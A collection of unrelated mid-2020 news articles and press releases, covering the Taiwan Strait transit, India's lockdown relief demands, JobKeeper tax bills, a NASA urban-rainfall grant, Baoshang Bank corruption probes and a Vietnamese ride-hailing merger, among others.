It has a pet refuge service, provides vet services to vulnerable owners and has a team of animal welfare officers who work with residents helping local communities.
A United States warship sailed through the sensitive Taiwan strait on June 4 as protesters marked the 31st anniversary of the Tiananmen Square crackdown, international media reported citing both US and Taiwanese military. US Navy patrolling in the sensitive Taiwan Strait, which separates Taiwan from mainland China, has surged in the past few months. On the other hand, Chinese drills in the area have also risen.

'On an ordinary mission'

Speaking to international media reporters, on June 5, Taiwan's Defence Ministry confirmed that the US ship had passed through the Taiwan strait heading south. The ministry also said that the Ship was constantly being monitored by the Taiwanese forces adding that the warship was on an ordinary mission. Later, US Pacific Fleet reportedly revealed the named the ship as the USS Russell, an Arleigh Burke-class destroyer.

Chinas communist government has been claiming authority over the island. However, Taiwan maintains that it is an independent and sovereign region. In recent times, the United States, an ally of Taiwan, has increased its support with increased regular patrols and arms trade, irking China.

Read: Taiwan's President Tsai Ing-wen Attends Patrol Vessel Launch Amid Rising Threat From China

On April 24, Taiwans defence ministry reportedly said that the US warship travelled through the narrow strait of Taiwan, that separates the island from China, in southernly direction adding that it continued to sail south. Though the ministry did not provide details of the ship, it added that the ship was monitored by Taiwan's armed forces.

Read: China Wants 'peaceful Reunification' With Taiwan Under 'one Country, Two Systems'

However, a US Seventh Fleet spokesman, Lieutenant Anthony Junco revealed that the ship was a guided-missile destroyer 'USS Barry' which was conducting a routine Taiwan Strait transit complying with the international law. Speaking at a news briefing, he added, the ship's transit through the Taiwan Strait demonstrates the US commitment to a free and open Indo-Pacific. The US Navy will continue to fly, sail and operate anywhere international law allows.

Read: US Warship Sails Through Taiwan Strait, Second Time In A Month

Read: Video: Tesla Crashes Into Truck In Taiwan, Driver Blames Autopilot Mode

Representative Image ; credits: AP


'All parties and the government acknowledge that there we are in trouble and there is more trouble ahead,' observes Aakar Patel.

IMAGE: Residents of West Bengal walk towards the exit after deboarding a Shramik Special train at Howrah station in Kolkata. Photograph: Swapan Mahapatra/PTI Photo

A natural disaster has prevented large parts of the population from taking care of itself.

Crores of people have lost their jobs.

The Centre says over 1 crore people so far have gone back to their villages in trains and buses from the town they were making a living in and sending money back from.

We do not know how many walked and cycled their way back because there is no documentation of internal migration in India, a notoriously data-poor nation.

Farmers living off small tracts of land, workers who are wage-dependent and without work, these also number in the crores.

Children who need their mid day meal at school and are not getting it at home number in the crores.

There are at least 50 crore Indians who have been hit hard by the events of the last three months and are now at the edge of survival.

We are seeing people fight over food and eating the carcasses of dogs.

The role of the State is to try and stop the spread of the epidemic and that is the lockdown.

But the effects of the lockdown include the destitution of large parts of the population, and for overcoming this the responsibility is on the State.

IMAGE: Returnees being shifted to a shelter home in Jaipur before leaving for their villages by special buses. Photograph: PTI Photo

By State I mean the entire structure of government, but the onus is squarely on the Centre.

It alone has the resources and it alone has the ability to print money. The individual provinces have no power or capacity to raise money beyond a point.

There is no dispute about the fact that we are in a crisis.

Because of this we can act on consensus and do not have to make this a political issue, but rather one concerning the whole nation.

All parties and the government acknowledge that there we are in trouble and there is more trouble ahead.

Mumbai's ICU beds have 99% occupancy and the pandemic is accelerating.

We can extrapolate the numbers and see that by the end of June the situation will become unmanageable.

We have to act immediately: Today is ideal. What specifically is to be done?

IMAGE: Returnees wait to board buses outside the Howrah station in Kolkata. Photograph: Swapan Mahapatra/PTI Photo

A few days ago, a group of people circulated a document named Mission Jai Hind. It seeks the following:

1. Bring migrants back home within 10 days safely with dignity and without charging them.

The government must coordinate and arrange for the trains and buses that will do this. State governments can transport them to their home once they arrive at the station.

They must be fed and housed properly till such time as this is possible and given local transport to get to the station.

2. Easy and free access to all symptomatic persons.

Arranging, by using private infrastructure, for free quarantine and ICU beds.

One year's medical and economic cover to all frontline workers in the health sector and their families.

3. Universal access to rations for six months.

Ten kilos of grain, 1.5 kilo of daal, 800 ml of oil, a half kilo of sugar per person.

The addition of names on a ration card on demand.

Home delivery of the mid day meal ration equivalent. All schools to run community kitchens.

4. MNREGA guarantee to go from 100 days to 200 with wages paid daily.

Urban residents to get 100 days of guaranteed work at Rs 400/day.

Appropriate work for senior citizens and disabled.

5. Compensation for job losses, interest free loans to companies to pay salaries, compensation to farmers for loss of produce or fall in price.

Rs 10,000 to hawkers and small shopkeepers to restart.

6. Three months of interest waiver and moratorium on first house loans on request, six months for Mudra Shishu and Kishor loans (to micro units and entrepreneurs) and crop loans on request.

7. These expenses must have the first right over the exchequer before other expenses.

That will ensure a focus on prioritisation which is essential today.

The Centre must raise resources with urgency and in emergency fashion and share half of what it raised with states.

IMAGE: Returnees at Danapur the railway station in Patna. Photograph: PTI Photo

What is asked for in this list is unexceptionable and nobody has opposed it.

It is the bare minimum that the crores will need to get through the next six months.

What comes in 2021 we do not know, but we need to give Indians the capacity to be able to reach 2021.

We need our society to be in good enough shape also in terms of trust.

In times of great crisis and shortage, the State will quickly lose its capacity.

We do not want that because the rule of law operates through moral force to a large extent not fear.

What happens when one's children are starving and one is desperate?

Given the huge numbers of people in distress we cannot give it more time.

On May 28, the Congress party's Sonia Gandhi asked that Rs 7,500 a month be sent to every family for six months.

She also asked for an increase the MNREGA days to 200 (currently the government guarantees only 100 days of work and even that is patchy and the payment is made in piecemeal manner because money is not made available by the Centre).

Many of the people behind Mission Jai Hind are eminent and respected, but that is immaterial.

It needs endorsement from all of us: I certainly back it.

It is the only document that has been put up I know of that lays out the steps we must quickly take to save ourselves from disaster.

And it needs immediate adoption by the State.

Aakar Patel is a columnist and writer.

You can read Aakar's columns here.

Production: Aslam Hunani/Rediff.com
If the U.S. would designate this group as a terrorist organization, there could be an opportunity for them to go after all the still-existing structures and contacts of Atomwaffen in the U.S., a German security official said. It is very clear that we are speaking about the same program, same ideology, same targets, and we do see communication across countries and continents.
Some of the 93 Amazon Kindle Fire HD 8 tablets donated for use by needy students of the SMSS.

SAMPASA  NA ((St. Martins Secondary School Past Students Association - North America), on Monday 25th , handed over 93 Amazon Kindle Fire HD 8 tablets to its alma mater, in a virtual handing over ceremony.





The donation is to assist in enhancing the online teaching and learning environment at the school, and the tablets are intended for students who do not have such devices or access to any.





Speaking at the handing over ceremony held at the School in Kingstown Park, Roman Catholic Bishop, His Lordship Gerald County, Chairperson of the St. Martins Secondary School Board of Governors, said that when the acting Principal of the school spoke to him about the project, he said to himself that it was the sign of the risen Christ amongst us, working in and through us.





He expressed thanks to the local and North American chapters of the Past Students Association for their support, noting that when Yohance Gibson took over as Acting Principal, he advised him to try to re-activate the Past Students Association.





"It is good to have them on board, said Bishop County, and he commended Gibson for his hard work as well as the management team and staff of the school.





The Bishop singled out IT teacher Petrus Gumbs for special mention. Gumbs, he said, had the online system in place before the pandemic. "In fact they have been responding to online testing. They got prepared for that,then the coronavirus came, and they just transferred to online teaching, stated Bishop County.





President of the local chapter of SAMPASA Ronnie Daniel spoke of the unwavering support from SAMPASA (NA), as well as the role of the local chapter, who facilitated the process for the import of the tablets.





He singled out Treasurer Leroy James for using his office to ensure a smooth process, adding that within a week, things were mobilized and "we exceeded our target and all expectations.





Ivan Morgan, President of SAMPASA (NA), speaking via zoom, said that the goal and vision of the organization is to assist past, present and future students of St. Martins Secondary School. He said that the organization is also open to anyone who is willing to work with them "to improve the status of this great institution.





Susan Hamlet, Project Organizer and Public Relation Officer of SMPASA NA, who also addressed the ceremony via zoom, said they were initially looking at acquiring 40 tablets, but because of the overwhelming support, they were able to purchase 102 tablets.





Kay Martin Jack, Senior Education Officer with responsibility for secondary schools, said that the SMSS- SAMPASA relationship was the kind of partnership the Ministry of Education was looking to encourage. The past students could have spent their money elsewhere, but they chose to invest in their alma mater, she remarked, and called on other entities and individuals to do likewise.





Yohance Gibson, acting Principal of the school, in delivering the Vote of Thanks, noted that past students of the school continue to make tremendous contribution in the society, and this was testimony to the good work of the school.
Teenagers receiving JobKeeper wage subsidies, casual workers with several jobs and the newly unemployed could soon find themselves with an unexpected tax bill of several hundred dollars.

Australia's youngest employees were the big winners of the government's coronavirus emergency spending measures.

Workers under 20 saw their wages surge by 16.8 per cent in the seven weeks to early May, Australian Bureau of Statistics data showed.

Every other age group saw their pay levels plunge by an average of 5.4 per cent which suggests teenagers receiving $1,500 a fortnight JobKeeper wage subsidies through their employer were taking home more than they usually did.

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Teenagers receiving JobKeeper wage subsidies, casual workers with several jobs and the newly unemployed could soon find themselves with an unexpected tax bill of several hundred dollars. Pictured are young cafe customers at Brisbane's South Bank area on May 17 following the easing of coronavirus restrictions in Queensland

Tax agent H&R Block's director of tax communications Mark Chapman said workers in this situation were likely to earn more than the $18,200 tax-free threshold.

'They could be facing a tax liability for the first time,' he told Daily Mail Australia.

'So many people, particularly in that younger age group, have been getting more than their usual wage because of JobKeeper.'

Since May 11, 16 and 17-year-old workers have been barred from receiving JobKeeper unless they could prove they were living independently or not in full-time study.

Mr Chapman said other teenagers continuing to receive JobKeeper needed to be prepared for a tax bill if they were recipients of the scheme from March until the end of June.

'That would give them about $9,000 of income, that could easily tip them over the $18,200 threshold,' he said.

Since April 27, the unemployed receiving the JobSeeker benefit have had a temporary $550 coronavirus supplement added to the usual $565.70 a fortnight welfare payment. Someone who worked in a low-paid job until the March shutdowns of non-essential businesses could find themselves with an unexpected tax bill if that $550 supplement pushed up their income. Pictured is a Centrelink queue in Melbourne on April 20, 2020

'You could still have 18 and 19-year olds and people in full-time education who are still receiving JobKeeper - that could very easily put them into a position where they're going to be paying tax for the first time.'

Tax tips for those receiving JobKeeper 1. Put money aside in anticipation of a big tax bill if JobKeeper has inflated your usual salary 2. Let other employers know if you are receiving JobKeeper from another boss Source: H&R Block Advertisement

Workers with several jobs were only allowed to receive JobKeeper from their principal employer.

Mr Chapman said workers who received JobKeeper and continued to work several other jobs could also find themselves with an unexpected tax bill.

'A bigger risk is in relation to people who have more than one job,' he said.

'You have got a lot of people who might have multiple, part-time jobs, one of them could be paying them JobKeeper and that could give them a substantial pay increase in relation to that one job.

'Their other employers would have no idea that they're necessarily receiving JobKeeper in relation to those other jobs and probably aren't deducting any tax in relation to those second and third jobs and it's that kind of situation where you very easily find yourself with a big tax bill.'

This bill could increase depending on how much JobKeeper pushed them over each income tax threshold.

'That could give them a tax bill of a few hundred dollars,' Mr Chapman said.

Workers under 20 saw their wages surge by 16.8 per cent in the seven weeks to early May, Australian Bureau of Statistics data showed. Every other age group saw their pay levels plunge by an average of 5.4 per cent which suggests teenagers receiving $1,500 a fortnight JobKeeper wage subsidies, through their employer, were taking home more than they usually did

Those who lost their jobs because of COVID-19, and didn't qualify for or receive JobKeeper could also find themselves in for a rude shock.

Since April 27, the unemployed receiving the JobSeeker benefit have had a temporary $550 coronavirus supplement added to the usual $565.70 a fortnight welfare payment.

Someone who worked in a low-paid job until the March shutdowns of non-essential businesses could find themselves with an unexpected tax bill if that $550 supplement pushed up their income.

'If they amount they're getting from JobSeeker, which is $1,100 a fortnight, is more than they were earning from their casual employment, that will boost up their taxable income,' Mr Chapman said.

'Again, that could increase their tax bill.'

Australians on middle and higher incomes, who lost their jobs during the coronavirus pandemic, however were likely to cut a tax refund by virtue of earning less during this outgoing financial year.
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Auburn University Associate Professor of Geosciences Chandana Mitra will be part of a NASA-funded national team tasked with studying whether cities can, via urban landscapes and/or associated aerosol processes, initiate or modify precipitating cloud systems.

Mitra will use a $185,400 segment of NASAs $1.7 million grant to contribute research to the team, which includes representatives from the University of Georgia, Louisiana State University, Purdue University, Florida State University and University of Texas San Antonio, along with NASA Goddard, Universities Space Research Association Columbia and SpringGem Weather Information LLC. The project is titled Toward Conceptualization and Predictability: A Multi-scalar Analysis of Urban-Influenced Hydrometeorological Processes.

One of the main goals of the collaboration is to leverage NASA resources to expand analyses to under-studied regions of the globe or multiple spatial scale regarding urban rainfall effects. One major task of Mitras research will include delineating urban agglomerations in North America, South America, Africa, Asia, Europe and Australia and creating a global inventory of urban rainfall effect signatures on the major continents.

I am very excited to be a part of this team and cannot wait to begin work on this NASA-funded project, said Mitra, a physical geographer and climatologist focused on researching the impacts of urban growth on local climate, especially in the area of heat and precipitation variability. It is critical to understand the processes by which urbanization effects precipitation and to move toward predictability of urban rain and snow events to minimize vulnerability to flooding and other associated hazards. The proposal teams expertise in meteorology and climatology, geography, remote sensing, machine learning, land use planning and entrepreneurship makes it well-suited for tackling the most pressing remaining knowledge gaps in urban hydrometeorology using innovative methods and tools.

This interdisciplinary team and the industry partnerships assembled here will ensure that the knowledge and datasets gained from the proposed work can be readily transitioned for use and will positively contribute to NASAs core Earth Science Division goals.

The grant will allow Mitra to fund a doctoral student for three years to help her study how cities across various continents initiate or modify precipitating cloud systems via urban rainfall effect. They also will use computational techniques to examine how the cloud systems are influenced by urban heat island intensity, reduced evapotranspiration and the various urban morphologies.

It is still unclear what role urban aerosols play on precipitation formation and intensification, she said. Aerosols have both a negative and positive impact on urban rainfall. They have been shown to enhance rainfall by serving as cloud condensation nuclei, yet studies also have shown that aerosol loading may broaden the spectrum of small cloud droplets, which reduces precipitation efficiency, especially in warm clouds. This research will be a novel research study of direct and semi-direct aerosol effects on the physical processes of urban rainfall.

Mitra will use remote sensing and geographic information system techniques to measure the urban heat island intensity, evapotranspiration and precipitation variability. In addition, she will co-conduct a four-dimensional analysis of rainfall, NASA Cloud Products and NASA Land Products to identify geographical tendencies in hydroclimate variability that may be driven or modulated by a combination of urban land cover, the urban heat island and aerosols.

Mitras Auburn team will be tasked with delivering three specific goals for the multiyear projectproducing a global inventory of urban rainfall effect signatures on the major continents in the first year, a climatology of non-urban noise that might modulate or describe such signatures in year two and a GIS-based database of what urbanized geographic regions are more likely to exhibit an urban signature in spatiotemporal precipitation variability in the third year.
New Delhi [India], June 4 (ANI/BusinessWire India): The era of mere marketing is over. The brands that are able to tell a story - thrive. India's most admirable brand is the celebration of brand stories for companies that are driving innovation, making an impact and creating an image.

Seth Godin has rightly said, "Marketing is no longer about the stuff you make but about the stories you tell."

Telling an authentic brand story is the only way companies can reach their customers, share their message across, and stand out in this noisy world.

"Limelight is a special television programming by The Brand Story with an aim to provide an ideal platform to every brand and leader and ensure the most exclusive, interesting and effective storyboard for their achievements over the years. The Brand Story recently released its brand-new episode of Limelight featuring India's Most Admirable Brands 2019 on NDTV Profit.

The episode showcases four brands that have been the frontrunners in their industry and the torchbearers for innovation and impact for other industry players.

With a mix of eclectic and handpicked brands in segments ranging from the FMCG to Fashion and Art Education, and BFSI to mobility technology, the brands featured and felicitated as India's Most Admirable Brands are Apis India Limited (FMCG), IndiaFirst Life Insurance (BFSI), Schindler India Private Limited (Elevator and Mobility Technology), and Vogue Institute of Art and Design (Education and Training).

Apis India started in 1924, is a professionally managed FMCG brand that has grown robustly to become the leader in the field of organized Honey trade in India. With state of the art processing and packaging units spread over 7 acres in the heart of Northern India, Roorkee, Apis India also boasts a world-class quality testing lab to meet international standards of Quality.

Apis India's product offerings include honey and its value-added range, jams, preserves, tea, pickles and premium dates, macaroni and hummus.

Under the able leadership of Amit Anand, MD and Pankaj Mishra, CEO, Apis has grown from being a honey retailer to a renowned FMCG brand in India, with a wide distribution network of over 2.4 lakh retail outlets including supermarkets and e-commerce store like MORE, D-Mart, Amazon, Flipkart, Big Basket and Milk Basket.

As shared by Amit Anand, MD - Apis India Ltd, and the third generation of the founding family at company helm; Apis India draws its strength from an unwavering focus on product innovation like industry-first blended honey variants like lychee honey, sitopaladi honey and relentless drive towards people development practices rooted in compassionate leadership and culture of listening.

IndiaFirst Life Insurance was started with the goal of making insurance easily available to every Indian household keeping in mind the customer-first policy in all its business activities India First Life Insurance has come a long way since its inception in 2009. With founding partners like Bank of Baroda, Andhra Bank (now, Union Bank of India), IndiaFirst Life is also backed by investments from Carmel Point Investment Ltd (Mauritius).

With 31 need-based products, IndiaFirst Life has become one of the fastest-growing insurance companies in the country, with a five-year CAGR of 40 per cent. Though being the latest entrant in the BFSI sector, IndiaFirst Life has consistently emerged as one of India's Best Places to Work in the BFSI sector.

With the company vision 'Securing life Creating Value' R M Vishakha, MD, and CEO and Rushabh Gandhi, Deputy Chief Executive Officer are proud of their customer-first focus, and an organization-wide culture of people and technological innovation.

As an organization, our endeavour has always been to do what is right by the customer. IndiaFirst Life has embraced diversity and is fuelled by innovation. As active proponents of digitalised and automated processes, we have far surpassed our goals of tech-based interventions for optimal cost and operational efficiencies. During this unparallel journey of placing our 'CustomerFirst', to be recognized as India's Most Admirable Brand is truly a validation of our effort and commitment," said Vishakha RM, MD & CEO, IndiaFirst Life Insurance Company Limited.

"We are thrilled to be recognized as India's Most Admirable Brand by The Brand Story. The recognition is a testament to the commitment of our organisation to our core philosophy of 'CustomerFirst'. As a brand, IndiaFirst Life simply decided to, 'Talk Life, Not death'. Our proposition 'Because Life is Full of Certainties', is what sets us apart in a category that plays on uncertainty and fear. This recognition reinforces our belief that we are 'certainly' on the right path," said Rushabh Gandhi, Deputy CEO, IndiaFirst Life Insurance Company Limited, in addition.

Vogue Institute Of Art & Design has emerged as an institute known for its unmatched contribution to the field of Art and Design education and training in India, under the able leadership of Dr M M Kariappa, Founder and Chairman. Since its inception in 1996, Vogue has emerged as one of the highly-rated art and design institutes with the highest number of AICTE recognized courses in the region.

Situated in the elite apparel hub of Karnataka Government in Bengaluru, Vogue boasts an unparalleled industry exposure for its students and is the first in South India to launch courses like Jewellery Designing, Gemology and Diamond Grading.

Vogue has associations with industry leaders, leading designers, and acclaimed academics, which makes Vogue adopt the best industry practices and offers courses valued by the Industry, and takes credit for bringing in Lectra Software from France to be a part of its computer-aided designing curriculum.

With foreign university collaborations, industry visits, world-class faculty, and highly equipped international standard design laboratories for Textile, Pattern Making, Jewellery Making and Sewing. Vogue has also launched a post-graduation course in business management through DKS Business School to strengthen its reputation as the most preferred school for companies looking for design and managerial talent for the fashion and design industry.

"It gives me immense pleasure in accepting the award from The Brand Story in recognition of our unmatched contribution in the field of design education. While it motivates us, it further strengthens our commitment to the field of design education. We are grateful to The Brand Story for coming forward with this initiative and recognizing our contribution," said Dr M M Kariappa, Founder and Chairman at Vogue Institute of Art and Design.

Schindler India Private Limited is synonymous with being a leading global provider of elevators, escalators and urban mobility solutions moving around 1.5 billion people/day. It's innovative and environmentally-friendly access and transit-management systems make an important contribution to mobility in urban societies. With safe, and user-centric designs, under the leadership of Ashok Ramachandran (President and CEO), Schindler India has emerged as a most preferred partner for builders and major developers.

What sets Schindler India apart is its relentless focus on technological and service innovation. Some of the industry-first practices that Schindler has pioneered in includes introduction of MRL technology, aesthetically pleasing touch glass control panels, (Internet of Elevators and Escalators) IoT, Robotic installation, sustainable manufacturing practices (use of recyclable materials and solar energy in manufacturing) and the Schindler University (a state of the art training facility in Pune, Chakan) providing the most skilled project manager and engineers to execute elevators & escalators installations in record time while ensuring safety and efficiency at the highest level.

As shared by Ashok Ramachandran, Schindler draws its strength from its five-Pillar Value system Safety, Quality, Creating value for customers, Integrity and Commitment to people development. Schindler India is also the first multinational company in the industry to have both the elevator and escalator manufacturing facilities in India. Both the manufacturing facilities along with the Corporate R&D centre are aimed at further advancing and establishing Schindler's technological and manufacturing capabilities to serve the growing market of India.

Schindler India is a 100 per cent owned subsidiary of Schindler Group. Founded in Switzerland in 1874, the Schindler Group is a leading global provider of elevators, escalators and related services. Its innovative and environmentally-friendly access and transit-management systems make an important contribution to mobility in urban societies.

Behind the company's success are over 60,000 employees in more than 100 countries with service presence across 50 major cities which include our 14 branch offices in the country and is head-quartered in Mumbai

The Brand Story feels privileged to bring forth the stories of the brands that have redefined how image, impact, and innovation can take brands to another level of recognition, customer preference and affiliation.

Abhay Kaushik, Director and Editor-in-Chief shares that the idea behind starting 'The Brand Story' was to fill the gap brands face in sharing the stories that define them and makes them unique. Thus, helping brands celebrate their stories by providing them with media and event solutions.

This story is provided by BusinessWire India. ANI will not be responsible in any way for the content of this article. (ANI/BusinessWire India)
During her 15 years with the royal family, Princess Diana has truly made a remarkable impact not just on the people but on the Buckingham Palace itself. After her tragic death in a car accident in 1997, it is evident that the British monarchy is yet to find a royal with the same charisma as Diana, who was called the "People's Princess."

Despite the popularity of Kate Middleton and Meghan Markle, it seems like they still lack that star factor that Princess Diana brought to the table. While both Duchesses are phenomenal in their own way, it looks like the Palace should look no further in finding their next Princess Diana.

A royal expert said that the Princess of Wales' characteristics could be seen in one of the most underrated members of the royal family, and that would be Princess Eugenie.

The youngest daughter of Prince Andrew to his ex-wife Sarah Ferguson was only 7-years-old when Princess Diana passed away. But since then, the comparison between the young royal and her late-aunt has not stopped.

Speaking to New Idea, royal expert Phil Dampier shared that the 30-year-old Princess' increasing popularity is an indication that she is slowly following Diana's footsteps. He believes that sooner or later, Eugenie could earn herself the title of the new People's Princess.

"Eugenie is very intelligent, very good with people, and puts them at ease," Dampier said.

"Everyone who has worked with her or met her through her charities has always been full of praise for her - they find her very easy to engage with, very friendly and a good listener."

The royal expert suggested that these qualities of Eugenie, which resembled Diana's, will soon help her elevate herself should she choose to step up her philanthropic efforts in and out of the royal family.

Being the granddaughter of Queen Elizabeth II, Princess Eugenie is the 10th in line to the British throne. It only means that she is very unlikely to become a Queen in her lifetime. She is also never considered as a senior royal, so she is able to have quite a normal life while retaining her royal status.

As an adult, Princess Eugenie was able to build her own identity away from the public and media scrutiny.

"Being out in the real world and earning a living might be an advantage because it gives her a different perspective. She's not just going into it without any experiences of real-life problems," Dampier added.

The royal expert also claimed that Eugenie's role in the royal family could be taken to the next level in the coming years, especially after Prince Andrew stepped back from his royal duties.

"With Prince Andrew off the scene, Prince Philip retired, and Harry and Meghan having departed, we're running out of senior royals, so I can see that there could be a bigger role for her," Dampier said.

The royal expert also expressed his belief that Princess Eugenie's major operation at a very young age could help her connect with people and empathize better with those with disabilities and physical problems.
Friday, the Tennessee Department of Education announced a suite of free, optional assessment supports for the 2020-21 school year, which will be available to all districts this fall. These supports are part of the departments innovative assessment initiative as described in the Best for All strategic plan.



With many students missing academic instructional time and canceled spring assessments due to COVID-19 school building closures, it is critical that educators and schools can identify student progress early and receive actionable data for the upcoming year, officials said.

"As part of the departments Best for All strategic plan, we have been working to develop a suite of free and optional innovative assessment supports to empower our educators with better, earlier insights into student progress, said Commissioner Penny Schwinn. When the COVID-19 pandemic forced prolonged school building closures and canceled spring assessments, it became even more important that districts and schools can reliably gather student data and understand student readiness for the next school year. These free and optional tools are one more way the department can support the needs of our district partners in serving all students.All Tennessee districts and schools can request these optional tools at no charge. Directors will receive more information on requesting these resources later this summer. Each of these free, optional assessments may be administered in the mode most convenient for the educators, via paper and online, increasing flexibility for districts.I am really pleased that the department has taken the initiative in providing the necessary assessment tools at no cost to school districts. This has been a critical missing component for so many school districts as we have all navigated a new, if not uncertain accountability landscape, said Dr. Donna Wright, director of Wilson County Schools. Equitable access to a standards-aligned assessment tool will be the difference maker for many school districts in identifying and charting student progress. Educators will benefit from the flexibility in the use of these innovative assessment tools, but the greater benefit will ultimately be for our students.The three optional tools available to districts for free later this year will be a Start of the Year Checkpoint, an Online Formative Assessment Platform and TCAP Item Bank, and Full-length Mock Interim Assessments.Start of the Year Checkpoint:

 A suite of optional assessments will be developed from actual TCAP items and aligned to the previous grade/course standards that are most essential for progression in the content of the students current grade level/course. They will be available for grades 3-8 and end of course (EOC) in Math and English Language Arts (ELA).



 The start of the year checkpoints are intended to benefit districts looking for information on student performance at the beginning of the year and help inform educators about student readiness for the year ahead.



Online Formative Assessment Platform and TCAP Item Bank:



 This platform will provide a central location for all TCAP materials, allowing educators to create their own assessments, using Tennessee standards-aligned questions developed expressly for TCAP. It will allow for the creation and administration of these assessments via a printable PDF or an online testing experience. Online testing will also provide automatic grading and reporting capabilities with the same look and feel of actual TCAP online testing.



 The department created this platform based on feedback and requests from Tennessee teachers desiring a free, optional assessment platform that will house formative assessments, start of year checkpoints, and currently released TCAP items. The platform will launch early fall and provide teachers with easy access all year round to these resources to print, use and share.



Full-length Mock Interim Assessment:



 Mock Interim Assessments will be complete blueprint-aligned assessments that will mirror the current TCAP summative assessments, as well as provide accurate scaled scores and performance bands that would estimate each students performance.



 Yielding much better information for educators than a practice exam, these assessments are scheduled to be available for optional administration to students as a mid-year or spring checkpoint. To support instruction, each item will be released with full item analysis to assist educators in pinpointing student misconceptions within standards to support efficient re-teaching, review, or remediation.



More details on each of these resources are available in the departments one-pager. The tools in this suite of resources work together to benefit districts looking to identify student progress during this upcoming school year. When creating these tools, the department worked to ensure that these supports were flexible, aligned to our TN standards, and would provide actionable data for schools and districts.



For additional information on the departments COVID-19 related resources, visit https://www.tn.gov/education/health-and-safety/update-on-coronavirus.html. For Tennessee Department of Education media inquiries, contact Edu.MediaInquiries@tn.gov.
In May of last year, Baoshang made headlines when it was taken over by regulators due to severe credit risk. The takeover has revealed endemic corruption surrounding the lender.

A retired former local banking regulator in the Inner Mongolia autonomous region has been placed under investigation on suspicion of corruption in connection with Baoshang Bank Co. Ltd., a struggling lender taken over by regulators in May last year, Caixin has learned.

Anti-graft watchdogs said in a Thursday statement (link in Chinese) that Xue Jining, who served as head of the Inner Mongolia branch of the now-defunct China Banking Regulatory Commission (CBRC) from 2007 to 2014 before retiring in 2015, is suspected of serious violations of (Communist Party) discipline and law  a euphemism for corruption.

The probe into Xue is related to Baoshang, a midsize lender previously controlled by financial titan Tomorrow Holding Co. Ltd., people with knowledge of the matter told Caixin. Tomorrows founder, mysterious tycoon Xiao Jianhua, was placed under investigation by Chinese anti-corruption authorities in early 2017.

Read more

In Depth: With Bank Lifelines, Regulators Weigh Stability Against Accountability

Xue isnt the only one whos in trouble for involvement in the Baoshang scandal. Liu Jinming and Jia Qizhen, both former officials at the Inner Mongolia branch of the China Banking and Insurance Regulatory Commission (CBIRC)  a combination of the CBRC and the countrys former top insurance regulator  were put under investigation by graft busters last year. In April, Liu was expelled from the party and removed from his position.

Caixin has learned from sources close to the matter that Chai Baoyu, another former CBIRC official from the same branch, and Yu Lan, a former head of the CBRCs Baotou city branch in Inner Mongolia, are also under graft investigations. All four, the sources told Caixin, are being investigated for suspicion of involvement in corruption with Baoshang.

In May of last year, Baoshang made headlines when it was taken over by regulators due to severe credit risk. The takeover has revealed endemic corruption surrounding the lender.

The original timeline for completion of the takeover was set for May 24, but has been extended by six months to Nov. 23, authorities said (link in Chinese) last month, due to disruptions caused by the coronavirus outbreak.

Contact reporter Timmy Shen (hongmingshen@caixin.com) and editor Gavin Cross (gavincross@caixin.com)

Caixin Global has launched Caixin CEIC Mobile, the mobile-only version of its world-class macroeconomic data platform.

If youre using the Caixin app, please click here. If you havent downloaded the app, please click here.
The two local ride-hailing platforms be and FastGo could negotiate a merger to break the dominance of Grab in Vietnam.

The two local players may break out of obscurity by teaming up Photo: Le Toan

Nguyen Huu Tuat, CEO of the local ride-hailing company FastGo, last week shared his views about a possible partnership with be Group in a Facebook status titled If be and FastGo merged, what would be their name?

The status immediately caused a stir, with many speculating that that FastGo intends to reach a merger with be. However the two sides have remained silent about any such plans.

Regarding the issue, Nguyen Viet Hung, a consultant for several local technology startups, told VIR that as Grab is dominating the market, a merger between FastGo and be may create a big counterbalance against the Singaporean firm.

In 2018, in the same year that Grab acquired the local branch of Uber to reign supreme in Southeast Asia, FastGo and be were launched with high expectations to be the local David taking down the Singaporean Goliath. However, over the past two years, the market also saw the new Indonesian rival Go-Jek entering Vietnam with its app Go-Viet.

During the ensuing tough competition with the experienced overseas players, FastGo and be have remained inferior in the local market.

According to Hung, despite getting great financial support from an alliance of banks, be has soon revealed inadequacies in its operation. Similar to Uber and Grab, the local firm has applied an aggressive penetration strategy to quickly scale up its presence in the market instead of methodically developing and diversifying its services.

Meanwhile, after four years of operation, Grab has successfully created an entire ecosystem including ride-hailing, e-payment, food delivery, and other services. Go-Viet, despite only jumping on the bandwagon in 2018, has carried out the same strategy with decent success.

As a result, be, which only focuses on ride-hailing without added functionalities, might be left behind if it does not change its business focus.

Meanwhile, FastGo also seems to be worn-out from an unsuccessful business strategy. The firm chose to directly confront Grab in Vietnam while aggressively expanding to foreign markets, following the same blueprint Uber used five years ago. The strategy has spread FastGo too thin, putting it at large risk as it has been steadily losing momentum in Vietnam.

The strategies of be and FastGo are different and be has the upper hand, said Hung. FastGo may fail in the next two years if it does not alter its course.

According to US-based market research company ABI Research, Grab commands about 73 per cent of the local ride-hailing sector. be, with 16 per cent, ranked second, while FastGo only holds a single per cent.

Grab is also leading the market with about 146 million rides carried out in total. Meanwhile, be comes second with 31 million rides, and FastGo last with just two million.

With such dreary prospects in Vietnam, a merger might not be an idea either ride-hailing platforms would scoff at.

Ride-hailing is still a relatively new business area and companies have been racking up great deficits. Grab, after nearly 10 years of operations in Vietnam, also reported that it has not turned a single dime of profit yet.

As such, Grab Vietnams accumulated losses as of 2018 were about VND2.6 trillion ($113 million). Meanwhile, Go-Viet and be saw deficits of VND500 billion ($21.4 million) and VND100 billion ($4.34 million), respectively.

Reaching an alliance could also benefit these companies in the area of capital mobilisation. Last January, a mysterious investor from the British Virgin Islands poured nearly VND881 million ($38,300 million) into FastGo and acquired an ownership rate of 25.23 per cent. The remaining shares are split between other parties, including FastGos CEO Nguyen Huu Tuat (41.62 per cent).

Elsewhere, be has been supported by some shareholders of VPBank who have constantly invested in the firm, according to Dealstreet Asia.

Throughout their time in the market, both FastGo and be have been constantly mobilising capital to maintain operations. Thus, reaching an alliance could make the two firms more attractive in the eyes of future investors. VIR

Van Anh

Vietnam ride-hailing services resume after three-week social distancing orders From April 23, ride-hailing apps in Vietnam have resumed operations in some localities after the three-week suspension in response to social distancing orders.
Raises Additional $1.5 Million From Community Partners

Kansas City, Missouri, June 04, 2020 (GLOBE NEWSWIRE) -- The DeBruce Foundation tonight released the following statement:

We believe in Kansas City and we want to be part of the solution for the future good of our community. Both citizens and police agree body cameras are needed and a good next step, but there is not enough funding. It is time for foundations and business leaders to take action. Thats why The DeBruce Foundation is stepping up to lead this charge along with the Police Foundation.

